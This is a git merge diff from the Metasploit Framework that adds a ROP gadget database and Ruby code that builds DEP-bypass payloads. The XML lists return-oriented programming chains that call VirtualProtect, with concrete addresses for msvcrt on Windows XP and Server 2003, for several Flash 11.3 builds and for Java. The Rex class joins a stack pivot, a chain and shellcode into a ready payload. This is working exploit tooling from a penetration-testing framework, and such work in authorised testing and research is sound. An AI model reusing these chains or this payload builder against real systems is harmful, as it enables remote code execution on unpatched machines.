Merge branch 'ropdb' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ropdb
commit
a1bc48ebc2
|
@ -0,0 +1,159 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop name='msvcrt'>
|
||||
<compatibility>
|
||||
<target>WINDOWS XP SP2</target>
|
||||
<target>WINDOWS XP SP3</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop name='msvcrt'>
|
||||
<compatibility>
|
||||
<target>WINDOWS SERVER 2003 SP1</target>
|
||||
<target>WINDOWS SERVER 2003 SP2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop name='flash'>
|
||||
<compatibility>
|
||||
<target>11.3.300.257</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00243043">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002ed0f1">jmp esp</gadget>
|
||||
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955ebe">Writable location</gadget>
|
||||
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop name='flash'>
|
||||
<compatibility>
|
||||
<target>11.3.300.265</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00487414">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002d8d5c">jmp esp</gadget>
|
||||
<gadget offset="0x00005604">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x004087db">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955197">Writable location</gadget>
|
||||
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop name='flash'>
|
||||
<compatibility>
|
||||
<target>11.3.300.268</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
|
||||
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002b95bb">jmp esp</gadget>
|
||||
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0092027a">Writable location</gadget>
|
||||
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop name='java'>
|
||||
<compatibility>
|
||||
<target>*</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0000252c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00005249">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -15,6 +15,7 @@ require 'msf/core/exploit/omelet'
|
|||
require 'msf/core/exploit/seh'
|
||||
require 'msf/core/exploit/kernel_mode'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/ropdb'
|
||||
|
||||
# CmdStagers
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/exploitation/ropdb'
|
||||
|
||||
##
|
||||
#
|
||||
# This mixin provides an interface to selecting a ROP chain, or creating a payload with
|
||||
# ROP using the Rex::Exploitation::RopDb class.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
@rop_db = Rex::Exploitation::RopDb.new
|
||||
super
|
||||
end
|
||||
|
||||
def has_rop?(rop)
|
||||
@rop_db.has_rop?(rop)
|
||||
end
|
||||
|
||||
def select_rop(rop, opts={})
|
||||
rop = @rop_db.select_rop(rop, opts)
|
||||
return rop
|
||||
end
|
||||
|
||||
def generate_rop_payload(rop, payload, opts={})
|
||||
opts['badchars'] ||= payload_badchars
|
||||
rop_payload = @rop_db.generate_rop_payload(rop, payload, opts)
|
||||
return rop_payload
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,146 @@
|
|||
require 'rex/text'
|
||||
require 'rexml/document'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods to access the ROP database, in order to generate
|
||||
# a ROP-compatible payload on the fly.
|
||||
#
|
||||
###
|
||||
class RopDb
|
||||
def initialize
|
||||
f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml'))
|
||||
@xml = REXML::Document.new(f.read)
|
||||
f.close
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
|
||||
#
|
||||
# Returns true if a ROP chain is available, otherwise false
|
||||
#
|
||||
def has_rop?(rop)
|
||||
@xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
return true if name =~ /#{rop}/i
|
||||
}
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size.
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
# opts - A hash of optional arguments:
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def select_rop(rop, opts={})
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
gadgets = []
|
||||
@xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
next if name !~ /^#{rop}$/i
|
||||
next if not has_target?(e, target)
|
||||
|
||||
if not base
|
||||
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
base = default.to_i(16)
|
||||
end
|
||||
|
||||
e.elements.each('gadgets/gadget') { |g|
|
||||
offset = g.attributes['offset']
|
||||
value = g.attributes['value']
|
||||
|
||||
if offset
|
||||
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
gadgets << (base + addr.to_i(16))
|
||||
elsif value
|
||||
case value
|
||||
when 'nop'
|
||||
gadgets << :nop
|
||||
when 'junk'
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
|
||||
end
|
||||
}
|
||||
}
|
||||
gadgets = gadgets.flatten
|
||||
return gadgets
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
|
||||
# and then shellcode.
|
||||
# Arguments:
|
||||
# rop - Name of the ROP chain
|
||||
# payload - Payload in binary
|
||||
# opts - A hash of optional arguments:
|
||||
# 'nop' - Used to generate nops with generate_sled()
|
||||
# 'badchars' - Used in a junk gadget
|
||||
# 'pivot' - Stack pivot in binary
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def generate_rop_payload(rop, payload, opts={})
|
||||
nop = opts['nop'] || nil
|
||||
badchars = opts['badchars'] || ''
|
||||
pivot = opts['pivot'] || ''
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
rop = select_rop(rop, {'target'=>target, 'base'=>base})
|
||||
# Replace the reserved words with actual gadgets
|
||||
rop = rop.map {|e|
|
||||
if e == :nop
|
||||
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
|
||||
elsif e == :junk
|
||||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :size_negate
|
||||
0xffffffff - payload.length + 1
|
||||
else
|
||||
e
|
||||
end
|
||||
}.pack("V*")
|
||||
|
||||
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
|
||||
|
||||
return pivot + rop + payload
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
def has_target?(rop, target)
|
||||
rop.elements.each('compatibility/target') { |t|
|
||||
return true if t.text =~ /#{target}/i
|
||||
}
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue